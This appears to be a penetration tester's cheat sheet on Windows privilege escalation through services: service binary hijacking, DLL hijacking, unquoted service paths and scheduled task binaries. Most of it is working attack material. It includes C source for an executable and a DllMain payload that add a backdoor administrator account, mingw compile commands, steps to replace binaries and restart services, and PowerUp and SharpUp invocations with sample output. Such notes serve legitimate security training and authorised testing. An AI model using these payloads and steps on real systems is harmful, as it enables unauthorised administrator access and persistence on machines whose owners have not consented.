Windows Services
Service Binary Hijacking
Steps
Check the services (detect which are in unusual folders)
Check our permissions in those folders
Create a malicious.exe
Remplace the .exe
Restart the service
To get a list of all installed Windows services, we can choose various methods such as the GUI snap-in services.msc, the Get-Service Cmdlet, or the Get-CimInstance Cmdlet (superseding Get-WmiObject).
List of services with binary path
Get-CimInstance -ClassName win32_service | Select Name,State,PathName | Where-Object {$_.State -like 'Running'}
Enumerate the permissions
Next, let's enumerate the permissions on both service binaries. We can choose between the traditional icacls Windows utility or the PowerShell Cmdlet Get-ACL. For this example, we'll use icacls since it usable both in PowerShell and the Windows command line.
Permissions Table
F
Full access
M
Modify access
RX
Read and execute access
R
Read-only access
W
Write-only access
icacls "C:\PATH\TO\BINARY\<BINARY>"
Permissions Abuse
Let's create a small binary on Kali, which we'll use to replace the original .exe
adduser.c
#include <stdlib.h>
int main ()
{
int i;
i = system ("net user hacked Hacked123! /add");
i = system ("net localgroup administrators hacked /add");
return 0;
}
Compiling
x86_64-w64-mingw32-gcc adduser.c -o adduser.exe
Copy the file
cmd /c copy /Y SecurityService.exe "C:\Program Files (x86)\PCProtect\SecurityService.exe"
Execution
net stop <SERVICE>
net start <SERVICE>
sc start <SERVICE>
Restart-Service <SERVICE>
or
If the service StartMode is auto:
Get-CimInstance -ClassName win32_service | Select Name, StartMode | Where-Object {$_.Name -like '<service>'}
Verify that the user have the SeShutdown privilege:
whoami /priv
shutdown /r /t 0
Automated Tools
PowerView
powershell -ep bypass
. .\PowerUp.ps1
PS > Get-ModifiableServiceFile
...
ServiceName : mysql
Path : C:\xampp\mysql\bin\mysqld.exe --defaults-file=c:\xampp\mysql\bin\my.ini mysql
ModifiableFile : C:\xampp\mysql\bin\mysqld.exe
ModifiableFilePermissions : {WriteOwner, Delete, WriteAttributes, Synchronize...}
ModifiableFileIdentityReference : BUILTIN\Users
StartName : LocalSystem
AbuseFunction : Install-ServiceBinary -Name 'mysql'
CanRestart : False
Install-ServiceBinary -Name '<SERVICE>'
SharpUp
We can use SharpUp from the GhostPack suite of tools to check for service binaries suffering from weak ACLs.
.\SharpUp.exe audit
=== SharpUp: Running Privilege Escalation Checks ===
=== Modifiable Service Binaries ===
Name : SecurityService
DisplayName : PC Security Management Service
Description : Responsible for managing PC security
State : Stopped
StartMode : Auto
PathName : "C:\Program Files (x86)\PCProtect\SecurityService.exe"
<SNIP>
DLL Hijacking
If there is an uncommon path for any service check the permissions after
Get-CimInstance -ClassName win32_service | Select Name,State,PathName | Where-Object {$_.State -like 'Running'}
icacls .\PATH\TO\BINARY\<BINARY>.exe
Check the file locally
Download the .exe of the service
Create the service and start it locally
sc.exe create "<service_name>" binpath= "<path_to_exe>"
sc.exe start <service_name>
Open Process Monitor and use this filters:

If .dll is found it is vulnerable
customdll.cpp
#include <stdlib.h>
#include <windows.h>
BOOL APIENTRY DllMain(
HANDLE hModule,// Handle to DLL module
DWORD ul_reason_for_call,// Reason for calling function
LPVOID lpReserved ) // Reserved
{
switch ( ul_reason_for_call )
{
case DLL_PROCESS_ATTACH: // A process is loading the DLL.
int i;
i = system ("net user <USERNAME> <PASSWORD> /add");
i = system ("net localgroup administrators <USERNAME> /add");
break;
case DLL_THREAD_ATTACH: // A process is creating a new thread.
break;
case DLL_THREAD_DETACH: // A thread exits normally.
break;
case DLL_PROCESS_DETACH: // A process unloads the DLL.
break;
}
return TRUE;
}
Compiling customdll.cpp
x86_64-w64-mingw32-gcc customdll.cpp --shared -o customdll.dll
Copy the .dll
file to the desired path.
Restart-Service <SERVICE>
Get-LocalGroupMember administrators
Unquoted Service Path
When a service is installed, the registry configuration specifies a path to the binary that should be executed on service start. If this binary is not encapsulated within quotes, Windows will attempt to locate the binary in different folders. Take the example binary path below.
Service Binary Path
C:\Program Files (x86)\System Explorer\service\SystemExplorerService64.exe
Windows will decide the execution method of a program based on its file extension, so it's not necessary to specify it. Windows will attempt to load the following potential executables in order on service start, with a .exe being implied:
C:\Program
C:\Program Files
C:\Program Files (x86)\System
C:\Program Files (x86)\System Explorer\service\SystemExplorerService64
Enumerate running and stopped services
Get-CimInstance -ClassName win32_service | Select Name,State,PathName
Searching for Unquoted Paths (cmd)
wmic service get name,pathname | findstr /i /v "C:\Windows\\" | findstr /i /v """
Check if we can start / stop the service
Start-Service <service>
Stop-Service <service>
Check the permissions to write
icacls "C:\"
icacls "C:\Program Files"
icacls "C:\Program Files\my example"
Craft the malicious.exe
Use the adduser.c file created in Permissions Abuse
Copy the malicious .exe
copy .\Current.exe 'C:\Program Files\Enterprise Apps\Current.exe'
Start the service
Start-Service <SERVICE>
Start-Service : Service 'GammaService (GammaService)' cannot be started due to the following error: Cannot start
service GammaService on computer '.'.
At line:1 char:1
+ Start-Service GammaService
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : OpenError: (System.ServiceProcess.ServiceController:ServiceController) [Start-Service],
ServiceCommandException
+ FullyQualifiedErrorId : CouldNotStartService,Microsoft.PowerShell.Commands.StartServiceCommand
After the error, check if succesfull. The error stems from the fact that our cross-compiled C code does not accept the parameters that are a leftover of the original service binary path. However, Current.exe was still executed
Automated Tools
PowerView
powershell -ep bypass
. .\PowerUp.ps1
Get-UnquotedService
Write-ServiceBinary -Name '<SERVICE>' -Path "C:\Program Files\my example\example.exe"
Start-Service <SERVICE>
Scheduled tasks
Search
schtasks /query /fo LIST /v
Check the permissions
icacls C:\Users\steve\Pictures\BackendCacheCleanup.exe
Copy the file
move .\Pictures\BackendCacheCleanup.exe BackendCacheCleanup.exe.bak
move .\BackendCacheCleanup.exe .\Pictures\
Last updated